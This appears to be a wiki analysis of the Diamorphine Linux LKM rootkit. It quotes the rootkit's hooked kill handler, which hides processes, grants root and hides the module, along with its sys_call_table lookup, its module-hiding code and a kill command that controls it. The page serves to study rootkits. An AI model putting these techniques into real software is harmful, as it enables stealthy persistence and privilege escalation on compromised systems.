-
Notifications
You must be signed in to change notification settings - Fork 1
Diamorphine
Introduction
Features
Community
Install process
Architecture
Notes
-->sig_kill backdoor
-->sys_call_table location
-->Stealth features
Conclusion
Diamorphine by m0nad (Victor Ramos Mello) is a Linux LKM based rootkit with broad version compatibility (2.6.* to 5.*)
Diamorphine advertises the following set of capabilities:
Diamorphine has an active bug tracker/support system on it's Github project page and the lead developer m0nad appears quick to respond.
The install process is simply making an LKM and inserting it into the kernel. No special configuration tool or installer is provided which is to be expected as Diamorphine has less features than e.g Reptile
Diamorphine is very much the traditional LKM rootkit - it's plan is a simple one.. Find the syscall table, do a little cr0 twiddle to enable write, overwrite some entries in there and divert a few things into it's own code where it can do evil™ There are just three syscalls hooked getdents, getdents64, and kill so it's quite compact.
sig_kill is used to trigger a number of different actions by the rootkit
struct task_struct *task;
switch (sig) {
case SIGINVIS:
if ((task = find_task(pid)) == NULL)
return -ESRCH;
task->flags ^= PF_INVISIBLE;
break;
case SIGSUPER:
give_root();
break;
case SIGMODINVIS:
if (module_hidden) module_show();
else module_hide();
break;
default:
return orig_kill(pt_regs);
In this way a simple system tool like 'kill' is used to control the rootkit - an elegant solution.
For example:
kill -63 0
To toggle visibility of the rootkit LKM.
The sys_call_table is located using one of two methods:
unsigned long *
get_syscall_table_bf(void)
{
unsigned long *syscall_table;
#if LINUX_VERSION_CODE > KERNEL_VERSION(4, 4, 0)
syscall_table = (unsigned long*)kallsyms_lookup_name("sys_call_table");
return syscall_table;
#else
unsigned long int i;
for (i = (unsigned long int)sys_close; i < ULONG_MAX;
i += sizeof(void *)) {
syscall_table = (unsigned long *)i;
if (syscall_table[__NR_close] == (unsigned long)sys_close)
return syscall_table;
}
return NULL;
#endif
}
The 'old way' is a traditional brute force search/pointer to function comparison. The newer way is kallsyms_lookup_name("sys_call_table") which works ok for now but will stop working eventually
It's the usual ways of hiding but here we see a 'tidy' function that is supposed to further hide the module(?) It takes the unusual step of freeing the sect_attrs (and previously a bunch of other stuff at one point?) I'm not sure if this is to hide from some specific tool? Do you know?
static inline void
tidy(void)
{
// kfree(THIS_MODULE->notes_attrs);
// THIS_MODULE->notes_attrs = NULL;
kfree(THIS_MODULE->sect_attrs);
THIS_MODULE->sect_attrs = NULL;
// kfree(THIS_MODULE->mkobj.mp);
// THIS_MODULE->mkobj.mp = NULL;
// THIS_MODULE->modinfo_attrs->attr.name = NULL;
// kfree(THIS_MODULE->mkobj.drivers_dir);
// THIS_MODULE->mkobj.drivers_dir = NULL;
}
static struct list_head *module_previous;
static short module_hidden = 0;
void
module_show(void)
{
list_add(&THIS_MODULE->list, module_previous);
//kobject_add(&THIS_MODULE->mkobj.kobj, THIS_MODULE->mkobj.kobj.parent,
// MODULE_NAME);
module_hidden = 0;
}
void
module_hide(void)
{
module_previous = THIS_MODULE->list.prev;
list_del(&THIS_MODULE->list);
//kobject_del(&THIS_MODULE->mkobj.kobj);
//list_del(&THIS_MODULE->mkobj.kobj.entry);
module_hidden = 1;
}
Diamorphine is a simple, self-contained LKM rootkit with broad version compatibility. Diamorphine makes a good resource for study of LKM rootkits as all the code is clearly laid out in one file.
Home
Techniques
LKM
--> kallsyms
--> Module Hiding
--> cr0 modification
--> sys_call_table patching
--> Chain loading
--> Function hooking
--> Hidden network traffic
--> binfmt handler
Rootkits
LKM
--> Reptile LKM
--> Diamorphine LKM
--> lilyofthevalley LKM
--> puszek-rootkit LKM
--> rkduck LKM
--> Suterusu LKM
--> Sutekh LKM
LD_PRELOAD
--> Beurk LD_PRELOAD
--> Jynx2 LD_PRELOAD